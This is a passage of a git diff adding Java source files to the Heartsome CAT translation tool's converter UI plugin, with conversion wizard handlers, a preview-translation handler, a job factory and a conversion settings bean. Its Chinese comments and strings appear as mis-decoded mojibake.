选择转æ¢é¡¹ç›®çš„适é…器接å£ï¼Œå…·ä½“的实现å¯ä»¥ä¸ºï¼šåœ¨ RCP 环境中为 FileDialog 或 WorkspaceDialog;在 RAP 环境中为文件上传界é¢ã€‚ + * @author cheney + * @since JDK1.6 + */ +public interface IConversionItemDialog { + + /** + * @return 打开转æ¢é¡¹ç›®é€‰æ‹©å¯¹è¯æ¡†ï¼Œå¹¶è¿”回æ“作结果:用户点击确定按钮则返回 IDialogConstants.OK_ID; + */ + int open(); + + /** + * 获得转æ¢é¡¹ç›® + * @return 返回转æ¢é¡¹ç›®ï¼Œå¦‚果用户没有选择任何转æ¢é¡¹ç›®ï¼Œåˆ™è¿”回一个空的转æ¢é¡¹ç›®; + */ + IConversionItem getConversionItem(); + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/OpenConversionDialogHandler.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/OpenConversionDialogHandler.java new file mode 100644 index 0000000..6dc9ccd --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/OpenConversionDialogHandler.java @@ -0,0 +1,90 @@ +package net.heartsome.cat.convert.ui.handler; + +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.ui.handlers.AbstractSelectProjectFilesHandler; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.convert.ui.wizard.ConversionWizard; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.Progress; + +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.wizard.WizardDialog; + +/** + * 打开项目转æ¢æ–‡ä»¶é…置对è¯æ¡† + * @author weachy + * @since JDK1.5 + */ +public class OpenConversionDialogHandler extends AbstractSelectProjectFilesHandler { + + @Override + public Object execute(ExecutionEvent event, List list) { + ArrayList converterViewModels = new ArrayList(); + for (int i = 0; i < list.size(); i++) { + Object adapter = Platform.getAdapterManager().getAdapter(list.get(i), IConversionItem.class); + IConversionItem sourceItem = null; + if (adapter instanceof IConversionItem) { + sourceItem = (IConversionItem) adapter; + } + ConverterViewModel converterViewModel = new ConverterViewModel(Activator.getContext(), + Converter.DIRECTION_POSITIVE); + converterViewModel.setConversionItem(sourceItem); // è®°ä½æ‰€é€‰æ‹©çš„文件 + converterViewModels.add(converterViewModel); + } + + IProject project = list.get(0).getProject(); + ConversionWizard wizard = new ConversionWizard(converterViewModels, project); + WizardDialog dialog = new WizardDialog(shell, wizard); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + final List models = wizard.getConverterViewModels(); + + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + monitor.setTaskName("转æ¢é¡¹ç›®"); + monitor.beginTask("开始批é‡è½¬æ¢é¡¹ç›®æ–‡ä»¶...", models.size()); + for (ConverterViewModel converterViewModel : models) { + try { + IProgressMonitor subMonitor = Progress.getSubMonitor(monitor, 1); + subMonitor.setTaskName("开始转æ¢æ–‡ä»¶ï¼š" + + converterViewModel.getConversionItem().getLocation().toOSString()); + converterViewModel.convertWithoutJob(subMonitor); + } catch (Exception e) { + MessageDialog.openError(shell, "文件转æ¢å¤±è´¥", e.getMessage()); + e.printStackTrace(); + } + } + monitor.done(); + } + }; + try { + new ProgressMonitorDialog(shell).run(true, true, runnable); + } catch (InvocationTargetException e) { + MessageDialog.openError(shell, "文件转æ¢å¤±è´¥", e.getMessage()); + e.printStackTrace(); + } catch (InterruptedException e) { + MessageDialog.openError(shell, "文件转æ¢å¤±è´¥", e.getMessage()); + e.printStackTrace(); + } + } + return null; + } + + @Override + public String[] getLegalFileExtensions() { + return null; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/OpenReverseConversionDialogHandler.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/OpenReverseConversionDialogHandler.java new file mode 100644 index 0000000..1bd8dc8 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/OpenReverseConversionDialogHandler.java @@ -0,0 +1,90 @@ +package net.heartsome.cat.convert.ui.handler; + +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.ui.handlers.AbstractSelectProjectFilesHandler; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.convert.ui.wizard.ReverseConversionWizard; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.Progress; + +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.wizard.WizardDialog; + +/** + * 打开转æ¢æ–‡ä»¶é…置对è¯æ¡† + * @author weachy + * @since JDK1.5 + */ +public class OpenReverseConversionDialogHandler extends AbstractSelectProjectFilesHandler { + + public Object execute(ExecutionEvent event, List list) { + ArrayList converterViewModels = new ArrayList(); + for (int i = 0; i < list.size(); i++) { + Object adapter = Platform.getAdapterManager().getAdapter(list.get(i), IConversionItem.class); + IConversionItem sourceItem = null; + if (adapter instanceof IConversionItem) { + sourceItem = (IConversionItem) adapter; + } + ConverterViewModel converterViewModel = new ConverterViewModel(Activator.getContext(), + Converter.DIRECTION_REVERSE); + converterViewModel.setConversionItem(sourceItem); // è®°ä½æ‰€é€‰æ‹©çš„文件 + converterViewModels.add(converterViewModel); + } + + IProject project = list.get(0).getProject(); + ReverseConversionWizard wizard = new ReverseConversionWizard(converterViewModels, project); + WizardDialog dialog = new WizardDialog(shell, wizard); + + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + final List models = wizard.getConverterViewModels(); + + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + monitor.setTaskName("转æ¢é¡¹ç›®"); + monitor.beginTask("转æ¢é¡¹ç›®ä¸­çš„ XLIFF 为目标文件...", models.size()); + for (ConverterViewModel converterViewModel : models) { + try { + IProgressMonitor subMonitor = Progress.getSubMonitor(monitor, 1); + subMonitor.setTaskName("开始转æ¢æ–‡ä»¶ï¼š" + + converterViewModel.getConversionItem().getLocation().toOSString()); + converterViewModel.convertWithoutJob(subMonitor); + } catch (Exception e) { + MessageDialog.openError(shell, "文件转æ¢å¤±è´¥", e.getMessage()); + e.printStackTrace(); + } + } + monitor.done(); + } + }; + try { + new ProgressMonitorDialog(shell).run(true, true, runnable); + } catch (InvocationTargetException e) { + MessageDialog.openError(shell, "文件转æ¢å¤±è´¥", e.getMessage()); + e.printStackTrace(); + } catch (InterruptedException e) { + MessageDialog.openError(shell, "文件转æ¢å¤±è´¥", e.getMessage()); + e.printStackTrace(); + } + } + return null; + } + + @Override + public String[] getLegalFileExtensions() { + return new String[] { "xlf" }; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/PreviewTranslationHandler.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/PreviewTranslationHandler.java new file mode 100644 index 0000000..0dc18fd --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/PreviewTranslationHandler.java @@ -0,0 +1,241 @@ +package net.heartsome.cat.convert.ui.handler; + +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.bean.Constant; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.model.ConversionConfigBean; +import net.heartsome.cat.convert.ui.model.ConverterUtil; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.convert.ui.utils.ConversionResource; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.ts.core.file.XLFHandler; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IFolder; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IEditorRegistry; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.ide.IDE; +import org.eclipse.ui.ide.ResourceUtil; + +/** + * 预览翻译 Handler + * @author weachy + * @version 1.1 + * @since JDK1.5 + */ +public class PreviewTranslationHandler extends AbstractHandler { + + private IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + + private Shell shell; + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor == null) { + return false; + } + IEditorInput input = editor.getEditorInput(); + IFile file = ResourceUtil.getFile(input); + shell = HandlerUtil.getActiveWorkbenchWindowChecked(event).getShell(); + if (file == null) { + MessageDialog.openInformation(shell, "æ示", "未找当å‰ç¼–辑器打开的文件资æºã€‚"); + } else { + String fileExtension = file.getFileExtension(); + if (fileExtension != null && "xlf".equalsIgnoreCase(fileExtension)) { + ConverterViewModel model = getConverterViewModel(file); + if (model != null) { + model.convert(); + } + } else if (fileExtension != null && "xlp".equalsIgnoreCase(fileExtension)) { + if (file.exists()) { + IFolder xliffFolder = file.getProject().getFolder(Constant.FOLDER_XLIFF); + if (xliffFolder.exists()) { + ArrayList files = new ArrayList(); + try { + getChildFiles(xliffFolder, "xlf", files); + } catch (CoreException e) { + throw new ExecutionException(e.getMessage(), e); + } + previewFiles(files); + } else { + MessageDialog.openWarning(shell, "æ示", "未找到系统默认的 XLIFF 文件夹ï¼"); + } + } + } else { + MessageDialog.openInformation(shell, "æ示", "当å‰ç¼–辑器打开的文件ä¸æ˜¯ä¸€ä¸ªåˆæ³•çš„ XLIFF 文件。"); + } + } + return null; + } + + /** + * 预览翻译多个文件 + * @param files + * æ–‡ä»¶é›†åˆ + * @throws ExecutionException + * ; + */ + private void previewFiles(final List files) throws ExecutionException { + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InvocationTargetException { + monitor.setTaskName("项目预览翻译"); + monitor.beginTask("开始预翻译文件...", files.size()); + for (IFile file : files) { + IProgressMonitor subMonitor = Progress.getSubMonitor(monitor, 1); + subMonitor.setTaskName("开始转æ¢æ–‡ä»¶ï¼š" + file.getLocation().toOSString()); + try { + preview(file, subMonitor); // 预览å•ä¸ªæ–‡ä»¶ + } catch (ExecutionException e) { + throw new InvocationTargetException(e, e.getMessage()); + } + } + monitor.done(); + } + }; + try { + new ProgressMonitorDialog(shell).run(true, true, runnable); + } catch (InvocationTargetException e) { + throw new ExecutionException(e.getMessage(), e); + } catch (InterruptedException e) { + throw new ExecutionException(e.getMessage(), e); + } + } + + /** + * 预览å•ä¸ªæ–‡ä»¶ + * @param file + * IFile 对象 + * @param subMonitor + * 进度监视器 + * @throws ExecutionException + * ; + */ + private void preview(IFile file, IProgressMonitor subMonitor) throws ExecutionException { + ConverterViewModel model = getConverterViewModel(file); + if (model != null) { + try { + Map result = model.convertWithoutJob(subMonitor); + String targetFile = result.get(Converter.ATTR_TARGET_FILE); + if (targetFile == null) { + MessageDialog.openError(shell, "错误", "未找到已转æ¢æ–‡ä»¶çš„路径ï¼"); + } else { + final IFile input = root.getFileForLocation(new Path(targetFile)); + Display.getDefault().syncExec(new Runnable() { + public void run() { + try { + // 使用外部编辑器(系统默认编辑器)打开文件。 + IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow() + .getActivePage(); + Assert.isNotNull(page, "当å‰çš„ Active Page 为 null。无法打开转æ¢åŽçš„文件。"); + IDE.openEditor(page, input, IEditorRegistry.SYSTEM_EXTERNAL_EDITOR_ID); + } catch (PartInitException e) { + MessageDialog.openInformation(shell, "æ示", "转æ¢å®Œæˆï¼ä½†æ˜¯åœ¨å°è¯•ä½¿ç”¨ç³»ç»Ÿé»˜è®¤ç¨‹åºæ‰“开该文件时å‘生异常:\n" + + e.getMessage()); + e.printStackTrace(); + } + } + }); + } + } catch (ConverterException e) { + throw new ExecutionException(e.getMessage(), e); + } + } + subMonitor.done(); + } + + /** + * 得到 ConverterViewModel 对象 + * @param file + * 需è¦é¢„览翻译的文件 + * @return + * @throws ExecutionException + * ; + */ + private ConverterViewModel getConverterViewModel(IFile file) throws ExecutionException { + Object adapter = Platform.getAdapterManager().getAdapter(file, IConversionItem.class); + if (adapter instanceof IConversionItem) { + IConversionItem item = (IConversionItem) adapter; + ConverterViewModel converterViewModel = new ConverterViewModel(Activator.getContext(), + Converter.DIRECTION_REVERSE); // 逆å‘è½¬æ¢ + converterViewModel.setConversionItem(item); + try { + ConversionResource resource = new ConversionResource(Converter.DIRECTION_REVERSE, item); + String xliffpath = resource.getXliffPath(); + String targetPath = resource.getPreviewPath(); + + ConversionConfigBean configBean = converterViewModel.getConfigBean(); + configBean.setSource(xliffpath); + configBean.setTarget(targetPath); + configBean.setTargetEncoding("UTF-8"); + configBean.setPreviewMode(true); // è®¾ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ + + IStatus status = converterViewModel.validateXliffFile(ConverterUtil.toLocalPath(xliffpath), + new XLFHandler(), null); // 注:验è¯çš„过程中,会为文件类型和骨架文件的路径赋值。 + if (status != null && status.isOK()) { + return converterViewModel; + } else { + throw new ExecutionException(status.getMessage(), status.getException()); + } + } catch (CoreException e) { + throw new ExecutionException(e.getMessage(), e); + } + } + return null; + } + + /** + * 得到å­æ–‡ä»¶ + * @param folder + * 文件夹 + * @param fileExtension + * å­æ–‡ä»¶åŽç¼€å + * @param list + * å­æ–‡ä»¶é›†åˆ + * @throws CoreException + * ; + */ + public static void getChildFiles(IFolder folder, String fileExtension, List list) throws CoreException { + if (list == null) { + list = new ArrayList(); + } + if (folder.isAccessible() && folder.exists()) { + IResource[] members = folder.members(); + for (IResource resource : members) { + if (resource instanceof IFile && (fileExtension).equalsIgnoreCase(resource.getFileExtension())) { + list.add((IFile) resource); + } else if (resource instanceof IFolder) { + getChildFiles((IFolder) resource, fileExtension, list); + } + } + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/job/JobFactoryFacade.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/job/JobFactoryFacade.java new file mode 100644 index 0000000..93f1d32 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/job/JobFactoryFacade.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.convert.ui.job; + +import net.heartsome.cat.convert.ui.ImplementationLoader; + +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.swt.widgets.Display; + +/** + * 创建 Job çš„ factory facade + * @author cheney + * @since JDK1.6 + */ +public abstract class JobFactoryFacade { + private static final JobFactoryFacade IMPL; + + static { + IMPL = (JobFactoryFacade) ImplementationLoader.newInstance(JobFactoryFacade.class); + } + + /** + * 创建 Job + * @param display + * @param name + * @param runnable + * @return ; + */ + public static Job createJob(final Display display, final String name, final JobRunnable runnable) { + return IMPL.createJobInternal(display, name, runnable); + } + + /** + * 创建 Job 的内部实现 + * @param display + * @param name + * @param runnable + * @return ; + */ + protected abstract Job createJobInternal(Display display, String name, JobRunnable runnable); + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/job/JobRunnable.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/job/JobRunnable.java new file mode 100644 index 0000000..afd7554 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/job/JobRunnable.java @@ -0,0 +1,37 @@ +package net.heartsome.cat.convert.ui.job; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.action.IAction; + +/** + * 定义此接å£æ¥å°è£…需è¦åœ¨ Job 中è¿è¡Œçš„ä»£ç  + * @author cheney + * @since JDK1.6 + */ +public interface JobRunnable { + + /** + * 在 run 方法中包å«æ‰€è¦æ‰§è¡Œçš„ä»£ç  + * @param monitor + * 监视器,å¯ä»¥ä¸º NULL + * @return 代ç æ‰§è¡Œçš„结果; + */ + IStatus run(IProgressMonitor monitor); + + /** + * 显示此 runnable çš„è¿è¡Œç»“果,如直接弹出æˆåŠŸæˆ–失败对è¯æ¡†ï¼Œä¸»è¦ç”¨äºŽè¿›åº¦æ˜¾ç¤ºå¯¹è¯æ¡†æ²¡æœ‰å…³é—­çš„情况,å³è¿›åº¦æ˜¾ç¤ºåœ¨æ¨¡å¼å¯¹è¯æ¡†ä¸­ã€‚ + * @param status + * runnable è¿è¡Œç»“果的 status; + */ + void showResults(IStatus status); + + /** + * 用于显示 runnable è¿è¡Œç»“果的 action,通常是 job 在åŽå°è¿è¡Œå®ŒæˆåŽï¼Œé€šè¿‡åœ¨è¿›åº¦æ˜¾ç¤ºè§†å›¾ä¸­è§¦å‘相关的 action 链接æ¥æŸ¥çœ‹ç»“果。 + * @param status + * runnable è¿è¡Œç»“果的 status + * @return 返回显示 runnable è¿è¡Œç»“果的 action; + */ + IAction getRunnableCompletedAction(IStatus status); + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConversionConfigBean.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConversionConfigBean.java new file mode 100644 index 0000000..9721ab2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ConversionConfigBean.java @@ -0,0 +1,540 @@ +package net.heartsome.cat.convert.ui.model; + +import java.io.File; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.util.CommonFunctions; +import net.heartsome.cat.convert.ui.utils.FileFormatUtils; +import net.heartsome.cat.converter.util.AbstractModelObject; + +import org.eclipse.core.databinding.validation.ValidationStatus; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; + +/** + * åœ¨è½¬æ¢ xliff 文件时,转æ¢è®¾ç½®å¯¹è¯æ¡†ä¸­å¯è®¾ç½®å‚数对应的实体 bean + * @author cheney + * @since JDK1.6 + */ +public class ConversionConfigBean extends AbstractModelObject { + // æºæ–‡ä»¶çš„路径 + private String source; + + // 目标文件路径 + private String target; + + // 骨架文件路径 + private String skeleton; + + // æºæ–‡ä»¶è¯­è¨€ + private String srcLang; + + // 目标语言 + private String tgtLang; + + // æºæ–‡ä»¶ç¼–ç  + private String srcEncoding; + + // ç›®æ ‡æ–‡ä»¶ç¼–ç  + private String targetEncoding; + + // 是å¦æŒ‰æ®µèŒ–分段 + private boolean segByElement; + + // SRX 规则文件路径 + private String initSegmenter; + + // 是å¦æ ‡è®°ä¸ºä¸å¯ç¿»è¯‘ + private boolean lockXtrans; + + // 是å¦ä¸º 100ï¼… 匹é…的文本进行进行标记 + private boolean lock100; + + // 是å¦ä¸ºä¸Šä¸‹æ–‡åŒ¹é…的文本进行进行标记 + private boolean lock101; + + // 是å¦ä¸ºé‡å¤çš„文本段进行标记 + private boolean lockRepeated; + + // 是å¦æŒ‰ CR/LF 分段 + private boolean breakOnCRLF; + + // 将骨架嵌入 xliff 文件 + private boolean embedSkl; + + // 如果目标文件已存在,是å¦è¦†ç›– + private boolean replaceTarget; + + // é¢„è§ˆæ¨¡å¼ + private boolean previewMode; + + // æ–‡ä»¶æ ¼å¼ + private List fileFormats; + + // ç¼–ç åˆ—表 + private List pageEncoding; + + // 目标语言列表 + private List tgtLangList; + + // 语言列表 + private List languages; + + // 文件类型 + private String fileType; + + /** + * 文件类型 + * @return ; + */ + public String getFileType() { + return fileType; + } + + /** + * 文件类型 + * @param fileType + * ; + */ + public void setFileType(String fileType) { + firePropertyChange("fileType", this.fileType, this.fileType = fileType); + } + + /** + * 语言列表 + * @return ; + */ + public List getLanguages() { + if (languages == null) { + languages = new ArrayList(LocaleService.getDefaultLanguage().values()); + Collections.sort(languages, new Comparator() { + public int compare(Language o1, Language o2) { + return o1.toString().compareTo(o2.toString()); + } + }); + } + return languages; + } + + /** + * 语言列表 + * @param languages + * ; + */ + public void setLanguages(List languages) { + this.languages = languages; + } + + /** + * ç¼–ç åˆ—表 + * @return ; + */ + public List getPageEncoding() { + if (pageEncoding == null) { + String[] codeArray = LocaleService.getPageCodes(); + pageEncoding = Arrays.asList(codeArray); + } + return pageEncoding; + } + + /** + * ç¼–ç åˆ—表 + * @param pageEncoding + * ; + */ + public void setPageEncoding(List pageEncoding) { + this.pageEncoding = pageEncoding; + } + + /** + * 将骨架嵌入 xliff 文件 + * @return ; + */ + public boolean isEmbedSkl() { + return embedSkl; + } + + /** + * 将骨架嵌入 xliff 文件 + * @param embedSkl + * ; + */ + public void setEmbedSkl(boolean embedSkl) { + this.embedSkl = embedSkl; + } + + /** + * æºæ–‡ä»¶çš„路径 + * @return ; + */ + public String getSource() { + return source; + } + + /** + * æºæ–‡ä»¶çš„路径 + * @param source + * ; + */ + public void setSource(String source) { + firePropertyChange("source", this.source, this.source = source); + } + + /** + * 目标文件路径 + * @return ; + */ + public String getTarget() { + return target; + } + + /** + * 目标文件路径 + * @param target + * ; + */ + public void setTarget(String target) { + firePropertyChange("target", this.target, this.target = target); + } + + /** + * 骨架文件路径 + * @return ; + */ + public String getSkeleton() { + return skeleton; + } + + /** + * 骨架文件路径 + * @param skeleton + * ; + */ + public void setSkeleton(String skeleton) { + this.skeleton = skeleton; + } + + /** + * æºæ–‡ä»¶è¯­è¨€ + * @return ; + */ + public String getSrcLang() { + return srcLang; + } + + /** + * æºæ–‡ä»¶è¯­è¨€ + * @param srcLang + * ; + */ + public void setSrcLang(String srcLang) { + firePropertyChange("srcLang", this.srcLang, this.srcLang = srcLang); + } + + /** + * 目标语言 + * @return the tgtLang + */ + public String getTgtLang() { + if(tgtLang == null){ + tgtLang = ""; + } + return tgtLang; + } + + /** + * 目标语言 + * @param tgtLang + * the tgtLang to set + */ + public void setTgtLang(String tgtLang) { + firePropertyChange("tgtLang", this.tgtLang, this.tgtLang = tgtLang); + } + + /** @return 目标语言 */ + public List getTgtLangList() { + return tgtLangList; + } + + /** + * 目标语言 + * @param tgtLang + * the tgtLang to set + */ + public void setTgtLangList(List tgtLangList) { + this.tgtLangList = tgtLangList; + } + + /** + * æºæ–‡ä»¶ç¼–ç  + * @return ; + */ + public String getSrcEncoding() { + return srcEncoding; + } + + /** + * æºæ–‡ä»¶ç¼–ç  + * @param srcEncoding + * ; + */ + public void setSrcEncoding(String srcEncoding) { + firePropertyChange("srcEncoding", this.srcEncoding, this.srcEncoding = srcEncoding); + } + + /** + * 是å¦æŒ‰æ®µèŒ–分段 + * @return ; + */ + public boolean isSegByElement() { + return segByElement; + } + + /** + * 是å¦æŒ‰æ®µèŒ–分段 + * @param segByElement + * ; + */ + public void setSegByElement(boolean segByElement) { + this.segByElement = segByElement; + } + + /** + * SRX 规则文件路径 + * @return ; + */ + public String getInitSegmenter() { + return initSegmenter; + } + + /** + * SRX 规则文件路径 + * @param initSegmenter + * ; + */ + public void setInitSegmenter(String initSegmenter) { + firePropertyChange("initSegmenter", this.initSegmenter, this.initSegmenter = initSegmenter); + } + + /** + * 是å¦æ ‡è®°ä¸ºä¸å¯ç¿»è¯‘ + * @return ; + */ + public boolean isLockXtrans() { + return lockXtrans; + } + + /** + * 是å¦æ ‡è®°ä¸ºä¸å¯ç¿»è¯‘ + * @param lockXtrans + * ; + */ + public void setLockXtrans(boolean lockXtrans) { + this.lockXtrans = lockXtrans; + } + + /** + * 是å¦ä¸º 100ï¼… 匹é…的文本进行进行标记 + * @return ; + */ + public boolean isLock100() { + return lock100; + } + + /** + * 是å¦ä¸º 100ï¼… 匹é…的文本进行进行标记 + * @param lock100 + * ; + */ + public void setLock100(boolean lock100) { + this.lock100 = lock100; + } + + /** + * 是å¦ä¸ºä¸Šä¸‹æ–‡åŒ¹é…的文本进行进行标记 + * @return ; + */ + public boolean isLock101() { + return lock101; + } + + /** + * 是å¦ä¸ºä¸Šä¸‹æ–‡åŒ¹é…的文本进行进行标记 + * @param lock101 + * ; + */ + public void setLock101(boolean lock101) { + this.lock101 = lock101; + } + + /** + * 是å¦ä¸ºä¸Šä¸‹æ–‡åŒ¹é…的文本进行进行标记 + * @return ; + */ + public boolean isLockRepeated() { + return lockRepeated; + } + + /** + * 是å¦ä¸ºä¸Šä¸‹æ–‡åŒ¹é…的文本进行进行标记 + * @param lockRepeated + * ; + */ + public void setLockRepeated(boolean lockRepeated) { + this.lockRepeated = lockRepeated; + } + + /** + * 是å¦æŒ‰ CR/LF 分段 + * @return ; + */ + public boolean isBreakOnCRLF() { + return breakOnCRLF; + } + + /** + * 是å¦æŒ‰ CR/LF 分段 + * @param breakOnCRLF + * ; + */ + public void setBreakOnCRLF(boolean breakOnCRLF) { + this.breakOnCRLF = breakOnCRLF; + } + + /** + * ç›®æ ‡æ–‡ä»¶ç¼–ç  + * @param targetEncoding + * ; + */ + public void setTargetEncoding(String targetEncoding) { + firePropertyChange("targetEncoding", this.targetEncoding, this.targetEncoding = targetEncoding); + } + + /** + * ç›®æ ‡æ–‡ä»¶ç¼–ç  + * @return ; + */ + public String getTargetEncoding() { + return targetEncoding; + } + + @Override + public String toString() { + StringBuffer buffer = new StringBuffer(); + buffer.append("configuration:--------------------\n"); + buffer.append("source:" + getSource() + "\n"); + buffer.append("target:" + getTarget() + "\n"); + buffer.append("skeleton:" + getSkeleton() + "\n"); + buffer.append("srclang:" + getSrcLang() + "\n"); + buffer.append("tgtlang:" + getTgtLang() + "\n"); + buffer.append("srcEncoding:" + getSrcEncoding() + "\n"); + buffer.append("targetEncoding:" + getTargetEncoding() + "\n"); + buffer.append("segByElement:" + isSegByElement() + "\n"); + buffer.append("initSegmenter:" + getInitSegmenter() + "\n"); + buffer.append("lockXtrans:" + isLockXtrans() + "\n"); + buffer.append("lock100:" + isLock100() + "\n"); + buffer.append("lock101:" + isLock101() + "\n"); + buffer.append("lockRepeated:" + isLockRepeated() + "\n"); + buffer.append("breakOnCRLF:" + isBreakOnCRLF() + "\n"); + buffer.append("embedSkl:" + isEmbedSkl() + "\n"); + buffer.append("--------------------------"); + return buffer.toString(); + } + + /** + * æ­£å‘转æ¢éªŒè¯ + * @return ; + */ + public IStatus validateConversion() { + if (source == null || source.trim().equals("")) { + return ValidationStatus.error("请选择æºæ–‡ä»¶ã€‚"); + } else { + String localSource = ConverterUtil.toLocalPath(source); + File file = new File(localSource); + if (!file.exists()) { + return ValidationStatus.error("æºæ–‡ä»¶ä¸å­˜åœ¨ã€‚"); + } + } + if (target == null || target.trim().equals("")) { + return ValidationStatus.error("请选择目标文件。"); + } else { + if (!replaceTarget) { // 如果未选择覆盖,判断并æ示目标文件是å¦å­˜åœ¨ + String localTarget = ConverterUtil.toLocalPath(target); + File file = new File(localTarget); + if (file.exists()) { + return ValidationStatus.error("目标文件已存在。"); + } + } + } + if (srcLang == null || srcLang.trim().equals("")) { + return ValidationStatus.error("请选择æºæ–‡ä»¶çš„语言"); + } + if (srcEncoding == null || srcEncoding.trim().equals("")) { + return ValidationStatus.error("请选择æºæ–‡ä»¶çš„ç¼–ç ã€‚"); + } + if (initSegmenter == null || initSegmenter.trim().equals("")) { + return ValidationStatus.error("请选择分段规则文件。"); + } else { + File file = new File(initSegmenter); + if (!file.exists()) { + return ValidationStatus.error("当å‰é€‰æ‹©çš„分段规则文件ä¸å­˜åœ¨ã€‚"); + } + } + return Status.OK_STATUS; + } + + /** + * 逆å‘转æ¢éªŒè¯ + * @return ; + */ + public IStatus validateReverseConversion() { + if (target == null || target.trim().equals("")) { + return ValidationStatus.error("请选择已转æ¢çš„文件。"); + } else { + if 